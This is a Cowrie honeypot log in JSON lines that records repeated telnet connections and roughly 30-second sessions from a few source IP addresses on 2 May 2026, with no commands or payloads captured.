{"eventid":"cowrie.session.closed","duration":30.83183765411377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.332658Z","src_ip":"199.231.212.75","session":"3db225b2f870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36651873588562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.404386Z","src_ip":"164.68.122.45","session":"7e15222b8ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34699821472168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.579728Z","src_ip":"164.68.122.45","session":"8ccd070db0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37444,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e38ce97bd8b","protocol":"telnet","message":"New connection: 164.68.122.45:37444 (10.17.0.5:23) [session: 0e38ce97bd8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.626632Z"}
{"eventid":"cowrie.session.closed","duration":31.829573392868042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.799322Z","src_ip":"199.231.212.75","session":"22a448187db0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37450,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aa62b3cdc8c","protocol":"telnet","message":"New connection: 164.68.122.45:37450 (10.17.0.5:23) [session: 4aa62b3cdc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.883183Z"}
{"eventid":"cowrie.session.closed","duration":30.175998210906982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:51.053123Z","src_ip":"164.68.122.45","session":"87345af3e112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904953718185425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:51.075863Z","src_ip":"164.68.122.45","session":"ccacf25f3594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46437168121338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:51.143307Z","src_ip":"164.68.122.45","session":"df845d67824a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10619354248047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:51.286572Z","src_ip":"199.231.212.75","session":"0caf2d51c806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111809730529785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:51.323183Z","src_ip":"199.231.212.75","session":"957fcdcdd92c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55492,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc823a91ddf","protocol":"telnet","message":"New connection: 199.231.212.75:55492 (10.17.0.5:23) [session: 0cc823a91ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:51.608414Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55494,"dst_ip":"10.17.0.5","dst_port":23,"session":"b11244814f66","protocol":"telnet","message":"New connection: 199.231.212.75:55494 (10.17.0.5:23) [session: b11244814f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:51.735304Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37452,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bf0fbd542ad","protocol":"telnet","message":"New connection: 164.68.122.45:37452 (10.17.0.5:23) [session: 4bf0fbd542ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:51.840944Z"}
{"eventid":"cowrie.session.closed","duration":30.968838214874268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:52.029714Z","src_ip":"199.231.212.75","session":"f4f7cd3e1aaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493019342422485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:52.064010Z","src_ip":"164.68.122.45","session":"2df09135d0f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.338115692138672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:52.112753Z","src_ip":"164.68.122.45","session":"beef9a769175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236744165420532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:52.484746Z","src_ip":"164.68.122.45","session":"2709cb95a435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192368745803833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:52.489226Z","src_ip":"164.68.122.45","session":"129d46525f32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37456,"dst_ip":"10.17.0.5","dst_port":23,"session":"96952245df9a","protocol":"telnet","message":"New connection: 164.68.122.45:37456 (10.17.0.5:23) [session: 96952245df9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:52.566053Z"}
{"eventid":"cowrie.session.closed","duration":31.236704111099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:52.782977Z","src_ip":"199.231.212.75","session":"be0df18f009f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41700,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb1006db8d0c","protocol":"telnet","message":"New connection: 86.120.107.100:41700 (10.17.0.5:23) [session: fb1006db8d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:52.918438Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37466,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1baa1089dee","protocol":"telnet","message":"New connection: 164.68.122.45:37466 (10.17.0.5:23) [session: d1baa1089dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:53.186711Z"}
{"eventid":"cowrie.session.closed","duration":30.498576879501343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:53.200752Z","src_ip":"199.231.212.75","session":"a1f7a6433fbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616361141204834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:53.221971Z","src_ip":"164.68.122.45","session":"0fef831bdaae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850695371627808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:53.303776Z","src_ip":"199.231.212.75","session":"f5d6985d7ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37478,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7684f7a31e","protocol":"telnet","message":"New connection: 164.68.122.45:37478 (10.17.0.5:23) [session: fd7684f7a31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:53.986018Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f241e7564daf","protocol":"telnet","message":"New connection: 199.231.212.75:55508 (10.17.0.5:23) [session: f241e7564daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:54.012723Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55518,"dst_ip":"10.17.0.5","dst_port":23,"session":"76852fba464a","protocol":"telnet","message":"New connection: 199.231.212.75:55518 (10.17.0.5:23) [session: 76852fba464a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:54.209222Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":45244,"dst_ip":"10.17.0.5","dst_port":23,"session":"e517b802590b","protocol":"telnet","message":"New connection: 86.120.107.100:45244 (10.17.0.5:23) [session: e517b802590b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:54.960541Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37492,"dst_ip":"10.17.0.5","dst_port":23,"session":"19984e82eee6","protocol":"telnet","message":"New connection: 164.68.122.45:37492 (10.17.0.5:23) [session: 19984e82eee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:54.981621Z"}
{"eventid":"cowrie.session.closed","duration":31.14116907119751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:55.417967Z","src_ip":"199.231.212.75","session":"ed7c1415fcd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.404207944869995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:55.661100Z","src_ip":"164.68.122.45","session":"b9d594b07a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.480138540267944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:55.667931Z","src_ip":"199.231.212.75","session":"f5b6db4e2b4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37494,"dst_ip":"10.17.0.5","dst_port":23,"session":"4def84e8f413","protocol":"telnet","message":"New connection: 164.68.122.45:37494 (10.17.0.5:23) [session: 4def84e8f413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:55.964916Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55520,"dst_ip":"10.17.0.5","dst_port":23,"session":"f45b8d6ed4a0","protocol":"telnet","message":"New connection: 199.231.212.75:55520 (10.17.0.5:23) [session: f45b8d6ed4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.076938Z"}
{"eventid":"cowrie.session.closed","duration":31.068023204803467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.096628Z","src_ip":"86.120.107.100","session":"b22f9af3d712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37506,"dst_ip":"10.17.0.5","dst_port":23,"session":"3da86ad9337c","protocol":"telnet","message":"New connection: 164.68.122.45:37506 (10.17.0.5:23) [session: 3da86ad9337c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.109347Z"}
{"eventid":"cowrie.session.closed","duration":30.49414873123169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.157273Z","src_ip":"164.68.122.45","session":"3ab8e6465062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37510,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea9f827571aa","protocol":"telnet","message":"New connection: 164.68.122.45:37510 (10.17.0.5:23) [session: ea9f827571aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.200026Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37516,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc16a06c80f","protocol":"telnet","message":"New connection: 164.68.122.45:37516 (10.17.0.5:23) [session: 7cc16a06c80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.314789Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55532,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdecb5a521dd","protocol":"telnet","message":"New connection: 199.231.212.75:55532 (10.17.0.5:23) [session: cdecb5a521dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.412312Z"}
{"eventid":"cowrie.session.closed","duration":31.056010007858276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.436414Z","src_ip":"164.68.122.45","session":"947757736678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.429959535598755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.502325Z","src_ip":"199.231.212.75","session":"2a33702d6de7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37520,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3cd795ca06","protocol":"telnet","message":"New connection: 164.68.122.45:37520 (10.17.0.5:23) [session: 2c3cd795ca06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:56.656095Z"}
{"eventid":"cowrie.session.closed","duration":30.43536877632141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:57.174900Z","src_ip":"164.68.122.45","session":"834dcd273e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37524,"dst_ip":"10.17.0.5","dst_port":23,"session":"d127c820559e","protocol":"telnet","message":"New connection: 164.68.122.45:37524 (10.17.0.5:23) [session: d127c820559e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:57.590429Z"}
{"eventid":"cowrie.session.closed","duration":31.68604826927185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:57.616522Z","src_ip":"86.120.107.100","session":"d976173dcb3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192042589187622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:57.939472Z","src_ip":"199.231.212.75","session":"a23785899128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37534,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3fdeb0a0e2b","protocol":"telnet","message":"New connection: 164.68.122.45:37534 (10.17.0.5:23) [session: e3fdeb0a0e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:57.949396Z"}
{"eventid":"cowrie.session.closed","duration":31.097028732299805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:58.053296Z","src_ip":"164.68.122.45","session":"d0200f56d3b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807523488998413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:58.143338Z","src_ip":"199.231.212.75","session":"cf7685a7cf3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79964280128479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:58.326852Z","src_ip":"199.231.212.75","session":"c3730ed58979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37538,"dst_ip":"10.17.0.5","dst_port":23,"session":"22232cc748cb","protocol":"telnet","message":"New connection: 164.68.122.45:37538 (10.17.0.5:23) [session: 22232cc748cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:58.332485Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":45260,"dst_ip":"10.17.0.5","dst_port":23,"session":"40263774a7eb","protocol":"telnet","message":"New connection: 86.120.107.100:45260 (10.17.0.5:23) [session: 40263774a7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:58.403920Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":45274,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37c0fa3f5ca","protocol":"telnet","message":"New connection: 86.120.107.100:45274 (10.17.0.5:23) [session: a37c0fa3f5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:58.536563Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55548,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fc32df5154b","protocol":"telnet","message":"New connection: 199.231.212.75:55548 (10.17.0.5:23) [session: 8fc32df5154b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:58.567241Z"}
{"eventid":"cowrie.session.closed","duration":30.735718488693237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:59.263527Z","src_ip":"199.231.212.75","session":"6f452f560783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961954355239868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:00.158191Z","src_ip":"164.68.122.45","session":"7fa40f4fa549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092958450317383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:00.183465Z","src_ip":"199.231.212.75","session":"24f051c6cb34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85387659072876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:00.266960Z","src_ip":"164.68.122.45","session":"02c5a8e6006e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":40768,"dst_ip":"10.17.0.5","dst_port":23,"session":"1945d5be6c87","protocol":"telnet","message":"New connection: 199.231.212.75:40768 (10.17.0.5:23) [session: 1945d5be6c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:00.360704Z"}
{"eventid":"cowrie.session.closed","duration":31.183183670043945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:00.775913Z","src_ip":"199.231.212.75","session":"40c8f40513fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51240,"dst_ip":"10.17.0.5","dst_port":23,"session":"36668d771060","protocol":"telnet","message":"New connection: 164.68.122.45:51240 (10.17.0.5:23) [session: 36668d771060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:01.385279Z"}
{"eventid":"cowrie.session.closed","duration":31.148910999298096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:02.387371Z","src_ip":"164.68.122.45","session":"fd1de5aacd00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701501846313477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:02.606503Z","src_ip":"199.231.212.75","session":"a0c4e90b1a80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131859302520752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:03.106203Z","src_ip":"164.68.122.45","session":"c55da45823d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.288007259368896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:03.184299Z","src_ip":"199.231.212.75","session":"83b869be3874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61874508857727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:04.296695Z","src_ip":"199.231.212.75","session":"e4ac74288df5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51256,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2a8306b0a7","protocol":"telnet","message":"New connection: 164.68.122.45:51256 (10.17.0.5:23) [session: ab2a8306b0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:04.840810Z"}
{"eventid":"cowrie.session.closed","duration":31.295000791549683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:05.254892Z","src_ip":"164.68.122.45","session":"53b99719365a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947723627090454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:05.412385Z","src_ip":"199.231.212.75","session":"cff641f28a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679168701171875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:05.524427Z","src_ip":"199.231.212.75","session":"f2eb2eba7c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791096448898315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:06.054586Z","src_ip":"164.68.122.45","session":"c700b3b247c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18095588684082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:06.387043Z","src_ip":"164.68.122.45","session":"48e53a824142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51262,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b5b1f1ca0c8","protocol":"telnet","message":"New connection: 164.68.122.45:51262 (10.17.0.5:23) [session: 5b5b1f1ca0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:06.414221Z"}
{"eventid":"cowrie.session.closed","duration":31.17203688621521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:06.551581Z","src_ip":"199.231.212.75","session":"ed668c554520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089213132858276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:07.097762Z","src_ip":"164.68.122.45","session":"b1a26482638f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43209147453308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:07.498866Z","src_ip":"199.231.212.75","session":"92001a7a9e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51272,"dst_ip":"10.17.0.5","dst_port":23,"session":"d221d894b59a","protocol":"telnet","message":"New connection: 164.68.122.45:51272 (10.17.0.5:23) [session: d221d894b59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:08.017729Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":40770,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca2b0102249","protocol":"telnet","message":"New connection: 199.231.212.75:40770 (10.17.0.5:23) [session: dca2b0102249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:08.077322Z"}
{"eventid":"cowrie.session.closed","duration":30.290029048919678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:09.123876Z","src_ip":"199.231.212.75","session":"63a8c5af3c93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":40782,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8218b37caab","protocol":"telnet","message":"New connection: 199.231.212.75:40782 (10.17.0.5:23) [session: b8218b37caab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:09.230154Z"}
{"eventid":"cowrie.session.closed","duration":30.762089729309082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:09.275514Z","src_ip":"164.68.122.45","session":"c9d559bcf7e7","protocol":"telnet"}
